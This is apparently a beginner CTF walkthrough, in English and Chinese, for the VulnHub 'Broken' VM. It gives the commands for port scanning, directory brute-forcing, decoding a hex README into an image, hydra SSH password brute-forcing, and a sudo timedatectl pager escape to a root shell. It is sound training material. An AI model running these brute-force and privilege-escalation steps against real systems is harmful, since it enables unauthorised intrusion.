We have another CTF challenges for CTF players that named as “Broken” and it can be download from vulnhub from here. The credit goes “Avraham Cohen” for designing this VM machine for beginners. This is a Linux based CTF challenge where you can use your basic pentest skill for Compromising this VM to escalate the root privilege shell.
信息收集
主机发现
kali ip :192.168.87.128
靶机ip :192.168.87.134
端口探测
nmap -sT -p- --min-rate 1000 192.168.87.134 -oA ./Broken_result
再对端口进行详细扫描和漏洞扫描
cat Broken_result.nmap | grep "open" | awk -F '/' '{print $1}' | paste -sd ','
sudo nmap -sT -sC -sV -p 22,80 192.168.87.134 -oA ./detail
详细扫描发现80端口有几个文件
目录扫描
sudo gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -u http://192.168.87.134/ -x txt,rar,zip,tar,sql,php
WEB渗透
访问80端口
访问/README.md
下载到本地!!
wget --recursive --no-parent http://192.168.87.134/
wget递归下载!
查看REAMD.md的文件类型,是txt类型
用cat发现都是十六进制的字节码
xxd -r -ps README.md > README.bin
xxd: 这是一个用于创建十六进制转储和进行反向操作(将十六进制转储转换回原始二进制数据)的工具。
-r选项用于将十六进制格式转换回二进制格式
-p表示输出纯粹的十六进制编码,而不包括其他信息
-s选项用于跳过文件的前N个字节
strings README.bin | head -n 10
strings: 这是一个工具,用于从二进制文件中提取可打印的ASCII字符串。它通常用于查看二进制文件中的文本内容。
README.bin: 这是输入文件,即你希望从中提取字符串的二进制文件。
|: 管道符号,用于将前一个命令的输出作为下一个命令的输入。
head -n 10: 这是一个命令,用于显示前10行输出。
可以看到JFIF头,说明这个文件是图片文件,更改为Jpg后缀并打开
是一段文字信息
再用exiftool来看看其他图片,没有发现有隐藏的信息
同时目录爆破也并没有什么有用信息
所以只能把注意力放到22端口上
我们根据从图片获取的信息制作一个简易的字典文件尝试爆破SSH
同时目录爆破也并没有什么有用信息
所以只能把注意力放到22端口上
我们根据从图片获取的信息制作一个简易的字典文件尝试爆破SSH
hydra -L ps.txt -P ps.txt ssh://192.168.87.134
提权
通过gtfobins:GTFOBins来查看对应的提权方法
sudo timedatectl list-timezones
!/bin/sh